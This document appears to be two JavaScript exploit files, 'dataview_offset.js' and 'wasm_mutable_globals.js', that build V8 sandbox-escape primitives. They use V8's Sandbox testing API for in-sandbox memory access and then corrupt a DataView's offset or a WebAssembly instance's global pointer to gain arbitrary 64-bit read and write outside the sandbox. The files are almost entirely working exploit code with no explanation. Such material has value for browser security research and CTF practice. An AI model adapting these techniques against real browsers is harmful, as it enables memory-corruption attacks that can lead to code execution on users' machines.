dataview_offset.js, wasm_mutable_globals.js

dataview_offset.js

const addrof = o => {
  return Sandbox.getAddressOf(o);
};

const weak_read = p => {
  let reader = new Sandbox.MemoryView(p, 64);
  let view = new DataView(reader);
  return view.getBigUint64(0, true); 
};

const weak_write = (p, x) => {
  let writer = new Sandbox.MemoryView(p, 64);
  let view = new DataView(writer);
  view.setBigUint64(0, x, true);
};

let buf = new ArrayBuffer(128);
let view = new DataView(buf);

let heap = (weak_read(0x18) >> 32n) << 32n;
let store = heap + ((weak_read(addrof(buf) + 0x20) & 0xffffffffn) << 8n);

const strong_read = p => {
  let offset = p - store;
  if (p < store) {
    offset = 0xffffffffffffffffn - store + p + 1n;
  }

  weak_write(addrof(view) + 0x10, offset);
  return view.getBigUint64(0, true);
};

const strong_write = (p, x) => {
  let offset = p - store;
  if (p < store) {
    offset = 0xffffffffffffffffn - store + p + 1n;
  }

  weak_write(addrof(view) + 0x10, offset);
  view.setBigUint64(0, x, true);
};

wasm_mutable_globals.js

let buf = new ArrayBuffer(8);
let f64 = new Float64Array(buf);
let u64 = new BigUint64Array(buf);
let i64 = new BigInt64Array(buf);

const utof = x => {
  u64[0] = x;
  return f64[0];
};

const itou = x => {
  i64[0] = x;
  return u64[0];
};

const hex = x => {
  return `0x${x.toString(16)}`; 
};

const addrof = o => {
  return Sandbox.getAddressOf(o);
};

const weak_read = p => {
  let reader = new Sandbox.MemoryView(p, 64);
  let view = new DataView(reader);
  return view.getBigUint64(0, true); 
};

const weak_write = (p, x) => {
  let writer = new Sandbox.MemoryView(p, 64);
  let view = new DataView(writer);
  view.setBigUint64(0, x, true);
};

const global = new WebAssembly.Global({ value: "i64", mutable: true }, 0n);

/*
(module
  (global $g (import "js" "global") (mut i64))
  (func (export "read") (result i64)
    (global.get $g)
  )
  (func (export "write") (param $p i64)
    (global.set $g (local.get $p))
  )
)
*/
let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60, 0x00, 0x01, 0x7e, 0x60,
  0x01, 0x7e, 0x00, 0x02, 0x0e, 0x01, 0x02, 0x6a, 0x73, 0x06, 0x67, 0x6c, 0x6f, 0x62, 0x61, 0x6c,
  0x03, 0x7e, 0x01, 0x03, 0x03, 0x02, 0x00, 0x01, 0x07, 0x10, 0x02, 0x04, 0x72, 0x65, 0x61, 0x64,
  0x00, 0x00, 0x05, 0x77, 0x72, 0x69, 0x74, 0x65, 0x00, 0x01, 0x0a, 0x0d, 0x02, 0x04, 0x00, 0x23,
  0x00, 0x0b, 0x06, 0x00, 0x20, 0x00, 0x24, 0x00, 0x0b
]);

let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module, {
  js: { global }
});

let heap = (weak_read(0x18) >> 32n) << 32n;
let store = [1.1];

let elements = heap + (weak_read(addrof(store) + 0x8) & 0xffffffffn);
weak_write(addrof(instance) + 0x58, elements + 8n - 1n);

const strong_read = p => {
  store[0] = utof(p);
  return itou(instance.exports.read());
};

const strong_write = (p, x) => {
  store[0] = utof(p);
  instance.exports.write(x);
};